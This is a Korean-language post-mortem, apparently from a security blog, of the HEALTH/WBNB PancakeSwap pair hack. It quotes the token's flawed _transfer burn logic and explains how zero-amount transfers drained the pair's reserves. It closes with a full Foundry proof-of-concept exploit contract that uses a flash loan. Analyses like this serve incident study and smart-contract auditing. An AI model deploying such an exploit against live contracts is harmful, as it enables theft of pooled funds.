Tx Hash : 0xae8ca9dc8258ae32899fe641985739c3fa53ab1f603973ac74b424e165c66ccf
Hacker Address : 0xde78112ff006f166e4ccfe1dfe4181c9619d3b5d
Attack Contract : 0x80e5fc0d72e4814cb52c16a18c2f2b87ef1ea2d4
Health/WBNB Pair : 0xF375709DbdE84D800642168c2e8bA751368e8D32
10월 20일 Pancake Swap의 Health/WBNB
페어가 해킹당했다. Phalcon으로 트랜잭션을 살펴보면 우선 DPPAdvanced
라는 곳에서 flashLoan을 일으킨 것을 알 수 있다.
DPP는 DODO에서 만든 프라이빗 풀로 해커는 이곳에서 flashLoan을 호출했다.(딱히 중요한 것은 아니지만 궁금해서 찾아봤다.) 40BNB를 빌려 공격을 한 다음 Callback 함수(DPPFlashLoanCall
)가 호출되면서 빌렸던 40BNB를 반환하고 공격을 끝낸다.
이제 어떻게 공격했는지 자세히 알아보자. 트랜잭션을 조금 더 자세히 보면 빌린 40BNB를 HEALTH로 스왑한 이후에 계속해서 HEALTH.transfer
를 호출한다.
HEALTH 토큰을 가지고 있기 때문에 .transfer
를 호출할 수 있다. 왜 계속 호출하는지 처음엔 이해가 가지 않았다. 그런데 알고보니 해커는 amount를 0으로 놓고 계속 .transfer
를 호출하고 있었다. 핵심은 토큰의 transfer
함수에 있다.
function transfer(address to, uint256 value) public override returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function _transfer(address from, address to, uint256 value) private {
require(value <= _balances[from]);
require(to != address(0));
uint256 contractTokenBalance = balanceOf(address(this));
bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity;
if (
overMinTokenBalance &&
!inSwapAndLiquify &&
to == uniswapV2Pair &&
swapAndLiquifyEnabled
) {
contractTokenBalance = numTokensSellToAddToLiquidity;
//add liquidity
swapAndLiquify(contractTokenBalance);
}
if (block.timestamp >= pairStartTime.add(jgTime) && pairStartTime != 0) {
//여기가 핵심!!
if (from != uniswapV2Pair) {
uint256 burnValue = _balances[uniswapV2Pair].mul(burnFee).div(1000);
_balances[uniswapV2Pair] = _balances[uniswapV2Pair].sub(burnValue);
_balances[_burnAddress] = _balances[_burnAddress].add(burnValue);
if (block.timestamp >= pairStartTime.add(jgTime)) {
pairStartTime += jgTime;
}
emit Transfer(uniswapV2Pair,_burnAddress, burnValue);
IPancakePair(uniswapV2Pair).sync();
}
}
uint256 devValue = value.mul(devFee).div(1000);
uint256 bValue = value.mul(bFee).div(1000);
uint256 newValue = value.sub(devValue).sub(bValue);
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(newValue);
_balances[address(this)] = _balances[address(this)].add(devValue);
_balances[_burnAddress] = _balances[_burnAddress].add(bValue);
emit Transfer(from,to, newValue);
emit Transfer(from,address(this), devValue);
emit Transfer(from,_burnAddress, bValue);
}
중간에 burnValue
부분을 보면 amount에 상관 없이 페어에 있는 balance를 소각할 수 있다. 즉, 해커는 이를 이용해 amount를 0으로 해서 페어에서 Health 토큰 수량을 계속 소각시키고 있었던 것이다. 수량이 줄어든 Health 토큰의 가격이 상승한 채로 다시 BNB로 스왑해서 이득을 취했다.
공격 컨트랙트는 다음과 같이 작성할 수 있다.
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;
import "forge-std/Test.sol";
import "./interface.sol";
contract ContractTest is DSTest{
IERC20 HEALTH = IERC20(0x32B166e082993Af6598a89397E82e123ca44e74E);
IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
Uni_Pair_V2 Pair = Uni_Pair_V2(0xF375709DbdE84D800642168c2e8bA751368e8D32);
Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
address constant dodo = 0x0fe261aeE0d1C4DFdDee4102E82Dd425999065F4;
CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
function setUp() public {
cheats.createSelectFork("bsc", 22337425);
}
function testExploit() public{
WBNB.approve(address(Router), type(uint).max);
HEALTH.approve(address(Router), type(uint).max);
DVM(dodo).flashLoan(200 * 1e18, 0, address(this), new bytes(1));
emit log_named_decimal_uint(
"[End] Attacker WBNB balance after exploit",
WBNB.balanceOf(address(this)),
18
);
}
function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external{
WBNBToHEALTH();
for(uint i = 0; i < 600; i++){
HEALTH.transfer(address(this), 0);
}
HEALTHToWBNB();
WBNB.transfer(dodo, 200 * 1e18);
}
function WBNBToHEALTH() internal {
address[] memory path = new address[](2);
path[0] = address(WBNB);
path[1] = address(HEALTH);
Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
WBNB.balanceOf(address(this)),
0,
path,
address(this),
block.timestamp
);
}
function HEALTHToWBNB() internal {
address[] memory path = new address[](2);
path[0] = address(HEALTH);
path[1] = address(WBNB);
Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
HEALTH.balanceOf(address(this)),
0,
path,
address(this),
block.timestamp
);
}
}